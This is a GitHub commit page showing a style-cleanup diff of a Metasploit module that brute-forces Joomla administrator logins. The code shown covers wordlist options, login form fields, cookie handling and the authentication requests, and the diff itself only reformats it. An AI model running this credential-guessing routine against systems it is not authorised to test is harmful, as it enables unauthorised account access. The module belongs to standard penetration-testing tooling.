Skip to content

Commit 986b8e5

Browse files
committed
First style issues cleanup
1 parent 7a5f3b8 commit 986b8e5

File tree

1 file changed

+26
-26
lines changed

1 file changed

+26
-26
lines changed

modules/auxiliary/scanner/http/joomla_bruteforce_login.rb

Lines changed: 26 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -12,17 +12,16 @@ class Metasploit3 < Msf::Auxiliary
1212
include Msf::Exploit::Remote::HttpClient
1313
include Msf::Auxiliary::Report
1414
include Msf::Auxiliary::AuthBrute
15-
1615
include Msf::Auxiliary::Scanner
1716

1817
def initialize
1918
super(
2019
'Name' => 'Joomla Bruteforce Login Utility',
2120
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',
22-
'Author' => [ 'luisco100[at]gmail.com' ],
21+
'Author' => 'luisco100[at]gmail.com',
2322
'References' =>
2423
[
25-
[ 'CVE', '1999-0502'] # Weak password Joomla
24+
['CVE', '1999-0502'] # Weak password Joomla
2625
],
2726
'License' => MSF_LICENSE
2827
)
@@ -35,15 +34,16 @@ def initialize
3534
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
3635
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
3736
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
38-
OptString.new('AUTH_URI', [ true, "The URI to authenticate against (default:auto)", "/administrator/index.php" ]),
39-
OptString.new('FORM_URI', [ false, "The FORM URI to authenticate against (default:auto)" , "/administrator"]),
37+
OptString.new('AUTH_URI', [ true, "The URI to authenticate against", "/administrator/index.php" ]),
38+
OptString.new('FORM_URI', [ false, "The FORM URI to authenticate against" , "/administrator"]),
4039
OptString.new('USER_VARIABLE', [ false, "The name of the variable for the user field", "username"]),
4140
OptString.new('PASS_VARIABLE', [ false, "The name of the variable for the password field" , "passwd"]),
4241
OptString.new('WORD_ERROR', [ false, "The word of message for detect that login fail","mod-login-username"]),
4342
OptString.new('REQUEST_TYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "POST" ]),
4443
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ]),
4544
], self.class)
46-
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
45+
46+
register_autofilter_ports([80, 443])
4747
end
4848

4949
def find_auth_uri
@@ -61,7 +61,7 @@ def find_auth_uri
6161
res = send_request_cgi({
6262
'uri' => path,
6363
'method' => 'GET'
64-
}, 10)
64+
})
6565

6666
next unless res
6767
if res.code == 301 || res.code == 302 && res.headers['Location'] && res.headers['Location'] !~ /^http/
@@ -102,7 +102,7 @@ def run_host(ip)
102102
print_status("Attempting to login to #{target_url}")
103103

104104
each_user_pass { |user, pass|
105-
do_login(user, pass)
105+
do_login(user, pass)
106106
}
107107
end
108108

@@ -132,11 +132,11 @@ def do_http_login(user,pass)
132132

133133
begin
134134
response = send_request_cgi({
135-
'uri' => @uri_mod,
136-
'method' => datastore['REQUEST_TYPE'],
137-
'username' => user,
138-
'password' => pass
139-
})
135+
'uri' => @uri_mod,
136+
'method' => datastore['REQUEST_TYPE'],
137+
'username' => user,
138+
'password' => pass
139+
})
140140
return response
141141
rescue ::Rex::ConnectionError
142142
vprint_error("#{target_url} - Failed to connect to the web server")
@@ -184,21 +184,21 @@ def do_http_login(user,pass)
184184
'Content-Type' => ctype,
185185
'Referer' => referer_var,
186186
'User-Agent' => datastore['UserAgent'],
187-
},
187+
}
188188
})
189189

190190
vprint_status("#{target_url} -> First Response Code : #{response.code}")
191191

192192
if (response.code == 301 || response.code == 302 || response.code == 303) && response.headers['Location']
193193

194-
path = response.headers['Location']
195-
print_status("Following redirect Response: #{path}")
194+
path = response.headers['Location']
195+
print_status("Following redirect Response: #{path}")
196196

197-
response = send_request_raw({
198-
'uri' => path,
199-
'method' => 'GET',
200-
'cookie' => "#{value_cookie}",
201-
}, 30)
197+
response = send_request_raw({
198+
'uri' => path,
199+
'method' => 'GET',
200+
'cookie' => "#{value_cookie}"
201+
})
202202
end
203203

204204
return response
@@ -239,15 +239,15 @@ def get_login_cookie
239239
cval = Array.new
240240
valor_input_id = ''
241241

242-
res = send_request_cgi({'uri' => uri,'method' => 'GET'})
242+
res = send_request_cgi({'uri' => uri, 'method' => 'GET'})
243243

244244
if(res.code == 301)
245245
path = res.headers['Location']
246246
vprint_status("Following redirect: #{path}")
247247
res = send_request_cgi({
248-
'uri' => path,
249-
'method' => 'GET'
250-
}, 10)
248+
'uri' => path,
249+
'method' => 'GET'
250+
})
251251
end
252252

253253
#print_status("Response Get login cookie: #{res.to_s}")
@@ -290,4 +290,4 @@ def get_login_cookie
290290
end
291291
return nil
292292
end
293-
end
293+
end

0 commit comments

Comments
 (0)